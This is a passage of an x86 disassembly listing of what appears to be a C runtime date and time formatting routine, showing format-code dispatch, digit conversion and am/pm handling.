XREF: sub_439B90+182j mov esp, ebp pop ebp retn sub_439B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439D20 proc near ; CODE XREF: sub_439B90+CEp ; sub_43A4F0+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_43A288 mov eax, [ebp+var_C] xor edx, edx mov dl, byte_43A2E9[eax] jmp off_43A28D[edx*4] loc_439D53: ; DATA XREF: .XComp0:0043A2BDo mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_43A340 add esp, 0Ch jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439D75: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A291o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_43A340 add esp, 0Ch jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439D98: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2C1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_43A340 add esp, 0Ch jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439DBB: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A295o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_43A340 add esp, 0Ch jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439DDE: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2C5o cmp dword_4E957C, 0 jz short loc_439E66 mov dword_4E957C, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_43A4F0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_439E20 jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439E20: ; CODE XREF: sub_439D20+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_43A4F0 add esp, 14h jmp short loc_439ED9 ; --------------------------------------------------------------------------- loc_439E66: ; CODE XREF: sub_439D20+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_43A4F0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_439E95 jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439E95: ; CODE XREF: sub_439D20+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_43A4F0 add esp, 14h loc_439ED9: ; CODE XREF: sub_439D20+144j jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439EDE: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2C9o mov ecx, dword_4E957C mov dword_4E9580, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439F08: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A299o mov eax, dword_4E957C mov dword_4E9580, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439F30: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A29Do mov edx, dword_4E957C mov dword_4E9580, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_439F5A mov [ebp+var_4], 0Ch loc_439F5A: ; CODE XREF: sub_439D20+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439F75: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2CDo mov edx, dword_4E957C mov dword_4E9580, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439FA2: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2D1o mov ecx, dword_4E957C mov dword_4E9580, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439FCF: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2A1o mov eax, dword_4E957C mov dword_4E9580, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_439FF7: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2D5o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_43A01C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_43A340 add esp, 0Ch jmp short loc_43A036 ; --------------------------------------------------------------------------- loc_43A01C: ; CODE XREF: sub_439D20+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_43A340 add esp, 0Ch loc_43A036: ; CODE XREF: sub_439D20+2FAj jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A03B: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2A5o mov edx, dword_4E957C mov dword_4E9580, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A064: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2A9o mov ecx, dword_4E957C mov dword_4E9580, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_43A0CD ; --------------------------------------------------------------------------- loc_43A07B: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2D9o mov ecx, dword_4E957C mov dword_4E9580, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A0A5: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2ADo mov eax, dword_4E957C mov dword_4E9580, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_43A0C1 mov [ebp+var_8], 6 jmp short loc_43A0CD ; --------------------------------------------------------------------------- loc_43A0C1: ; CODE XREF: sub_439D20+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_43A0CD: ; CODE XREF: sub_439D20+359j ; sub_439D20+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_43A0E1 mov [ebp+var_4], 0 jmp short loc_43A10E ; --------------------------------------------------------------------------- loc_43A0E1: ; CODE XREF: sub_439D20+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_43A10E mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_43A10E: ; CODE XREF: sub_439D20+3BFj ; sub_439D20+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A129: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2DDo cmp dword_4E957C, 0 jz short loc_43A160 mov dword_4E957C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_43A4F0 add esp, 14h jmp short loc_43A182 ; --------------------------------------------------------------------------- loc_43A160: ; CODE XREF: sub_439D20+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_43A4F0 add esp, 14h loc_43A182: ; CODE XREF: sub_439D20+43Ej jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A187: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2B1o mov dword_4E957C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_43A4F0 add esp, 14h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A1B8: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2E1o mov eax, dword_4E957C mov dword_4E9580, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_43A390 add esp, 10h jmp loc_43A288 ; --------------------------------------------------------------------------- loc_43A1EE: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2B5o mov edx, dword_4E957C mov dword_4E9580, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_43A390 add esp, 10h jmp short loc_43A288 ; --------------------------------------------------------------------------- loc_43A23B: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:0043A2B9o call sub_43B760 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_45349C[eax*4] push ecx call sub_43A340 add esp, 0Ch jmp short loc_43A288 ; --------------------------------------------------------------------------- loc_43A266: ; CODE XREF: sub_439D20+2Cj ; DATA XREF: .XComp0:off_43A28Do mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43A288: ; CODE XREF: sub_439D20+1Bj ; sub_439D20+2Cj ... pop esi mov esp, ebp pop ebp retn sub_439D20 endp ; --------------------------------------------------------------------------- off_43A28D dd offset loc_43A266 ; DATA XREF: sub_439D20+2Cr dd offset loc_439D75 dd offset loc_439DBB dd offset loc_439F08 dd offset loc_439F30 dd offset loc_439FCF dd offset loc_43A03B dd offset loc_43A064 dd offset loc_43A0A5 dd offset loc_43A187 dd offset loc_43A1EE dd offset loc_43A23B dd offset loc_439D53 dd offset loc_439D98 dd offset loc_439DDE dd offset loc_439EDE dd offset loc_439F75 dd offset loc_439FA2 dd offset loc_439FF7 dd offset loc_43A07B dd offset loc_43A129 dd offset loc_43A1B8 dd offset loc_43A288 byte_43A2E9 db 0 ; DATA XREF: sub_439D20+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A340 proc near ; CODE XREF: sub_439D20+48p ; sub_439D20+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_43A343: ; CODE XREF: sub_43A340+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_43A386 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_43A386 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_43A343 ; --------------------------------------------------------------------------- loc_43A386: ; CODE XREF: sub_43A340+9j ; sub_43A340+13j pop ebp retn sub_43A340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A390 proc near ; CODE XREF: sub_439D20+1DBp ; sub_439D20+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp dword_4E9580, 0 jz short loc_43A3BA mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_43A440 add esp, 0Ch jmp short loc_43A439 ; --------------------------------------------------------------------------- loc_43A3BA: ; CODE XREF: sub_43A390+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_43A430 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_43A3D8 ; --------------------------------------------------------------------------- loc_43A3CF: ; CODE XREF: sub_43A390+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_43A3D8: ; CODE XREF: sub_43A390+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_43A414 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_43A3CF ; --------------------------------------------------------------------------- loc_43A414: ; CODE XREF: sub_43A390+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_43A439 ; --------------------------------------------------------------------------- loc_43A430: ; CODE XREF: sub_43A390+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_43A439: ; CODE XREF: sub_43A390+28j ; sub_43A390+9Ej mov esp, ebp pop ebp retn sub_43A390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A440 proc near ; CODE XREF: sub_43A390+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_43A49B loc_43A456: ; CODE XREF: sub_43A440+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_43A49B mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_43A456 loc_43A49B: ; CODE XREF: sub_43A440+14j ; sub_43A440+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43A4B4: ; CODE XREF: sub_43A440+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_43A4B4 mov esp, ebp pop ebp retn sub_43A440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A4F0 proc near ; CODE XREF: sub_439D20+EBp ; sub_439D20+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_43A4F6: ; CODE XREF: sub_43A4F0+2EAj ; sub_43A4F0:loc_43A8BBj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_43A96C mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_43A96C mov [ebp+var_8], 0 mov dword_4E9580, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_43A536 ; --------------------------------------------------------------------------- loc_43A52D: ; CODE XREF: sub_43A4F0+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_43A536: ; CODE XREF: sub_43A4F0+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_43A551 jmp short loc_43A52D ; --------------------------------------------------------------------------- loc_43A551: ; CODE XREF: sub_43A4F0+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_43A8C0 mov ecx, [ebp+var_14] xor eax, eax mov al, byte_43A99C[ecx] jmp off_43A970[eax*4] loc_43A588: ; DATA XREF: .XComp0:0043A97Co mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_43A5C1 mov ecx, [ebp+var_18] jmp dword ptr loc_43A9EF[ecx*4] mov dword_4E9580, 1 loc_43A5B1: ; CODE XREF: sub_43A4F0+B0j mov [ebp+var_8], 6Dh jmp short loc_43A5C1 ; --------------------------------------------------------------------------- loc_43A5B7: ; CODE XREF: sub_43A4F0+B0j mov [ebp+var_8], 62h jmp short loc_43A5C1 ; --------------------------------------------------------------------------- loc_43A5BD: ; CODE XREF: sub_43A4F0+B0j mov [ebp+var_8], 42h loc_43A5C1: ; CODE XREF: sub_43A4F0+ABj ; sub_43A4F0+C5j ... jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A5C6: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A980o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_43A5FF mov ecx, [ebp+var_1C] jmp dword ptr loc_43A9FA+5[ecx*4] loc_43A5E5: ; CODE XREF: sub_43A4F0+B0j mov dword_4E9580, 1 loc_43A5EF: ; CODE XREF: sub_43A4F0+B0j ; sub_43A4F0+EEj mov [ebp+var_8], 64h jmp short loc_43A5FF ; --------------------------------------------------------------------------- loc_43A5F5: ; CODE XREF: sub_43A4F0+B0j ; sub_43A4F0+EEj mov [ebp+var_8], 61h jmp short loc_43A5FF ; --------------------------------------------------------------------------- loc_43A5FB: ; CODE XREF: sub_43A4F0+B0j ; sub_43A4F0+EEj mov [ebp+var_8], 41h loc_43A5FF: ; CODE XREF: sub_43A4F0+E9j ; sub_43A4F0+103j ... jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A604: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A994o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_43A618 cmp [ebp+var_20], 4 jz short loc_43A61E jmp short loc_43A622 ; --------------------------------------------------------------------------- loc_43A618: ; CODE XREF: sub_43A4F0+11Ej mov [ebp+var_8], 79h jmp short loc_43A622 ; --------------------------------------------------------------------------- loc_43A61E: ; CODE XREF: sub_43A4F0+124j mov [ebp+var_8], 59h loc_43A622: ; CODE XREF: sub_43A4F0+126j ; sub_43A4F0+12Cj jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A627: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A984o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_43A63B cmp [ebp+var_24], 2 jz short loc_43A645 jmp short loc_43A649 ; --------------------------------------------------------------------------- loc_43A63B: ; CODE XREF: sub_43A4F0+141j mov dword_4E9580, 1 loc_43A645: ; CODE XREF: sub_43A4F0+147j mov [ebp+var_8], 49h loc_43A649: ; CODE XREF: sub_43A4F0+149j jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A64E: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A978o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_43A662 cmp [ebp+var_28], 2 jz short loc_43A66C jmp short loc_43A670 ; --------------------------------------------------------------------------- loc_43A662: ; CODE XREF: sub_43A4F0+168j mov dword_4E9580, 1 loc_43A66C: ; CODE XREF: sub_43A4F0+16Ej mov [ebp+var_8], 48h loc_43A670: ; CODE XREF: sub_43A4F0+170j jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A675: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A988o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_43A689 cmp [ebp+var_2C], 2 jz short loc_43A693 jmp short loc_43A697 ; --------------------------------------------------------------------------- loc_43A689: ; CODE XREF: sub_43A4F0+18Fj mov dword_4E9580, 1 loc_43A693: ; CODE XREF: sub_43A4F0+195j mov [ebp+var_8], 4Dh loc_43A697: ; CODE XREF: sub_43A4F0+197j jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A69C: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A98Co mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_43A6B0 cmp [ebp+var_30], 2 jz short loc_43A6BA jmp short loc_43A6BE ; --------------------------------------------------------------------------- loc_43A6B0: ; CODE XREF: sub_43A4F0+1B6j mov dword_4E9580, 1 loc_43A6BA: ; CODE XREF: sub_43A4F0+1BCj mov [ebp+var_8], 53h loc_43A6BE: ; CODE XREF: sub_43A4F0+1BEj jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A6C3: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A974o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_43AF20 add esp, 8 test eax, eax jnz short loc_43A6E3 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_43A701 ; --------------------------------------------------------------------------- loc_43A6E3: ; CODE XREF: sub_43A4F0+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_43AF20 add esp, 8 test eax, eax jnz short loc_43A701 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_43A701: ; CODE XREF: sub_43A4F0+1F1j ; sub_43A4F0+206j mov [ebp+var_8], 70h jmp loc_43A8C0 ; --------------------------------------------------------------------------- loc_43A70A: ; CODE XREF: sub_43A4F0+91j ; DATA XREF: .XComp0:0043A990o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_43A721 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_43A72D ; --------------------------------------------------------------------------- loc_43A721: ; CODE XREF: sub_43A4F0+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_43A72D: ; CODE XREF: sub_43A4F0+22Fj ; sub_43A4F0+2DFj cmp [ebp+var_C], 0 jle loc_43A7D4 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_43A7D4 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_43A797 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_43A797 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_43A797: ; CODE XREF: sub_43A4F0+26Ej ; sub_43A4F0+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_43A72D ; --------------------------------------------------------------------------- loc_43A7D4: ; CODE XREF: sub_43A4F0+241j ; sub_43A4F0+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_43A4F6 ; --------------------------------------------------------------------------- loc_43A7DF: ; CODE 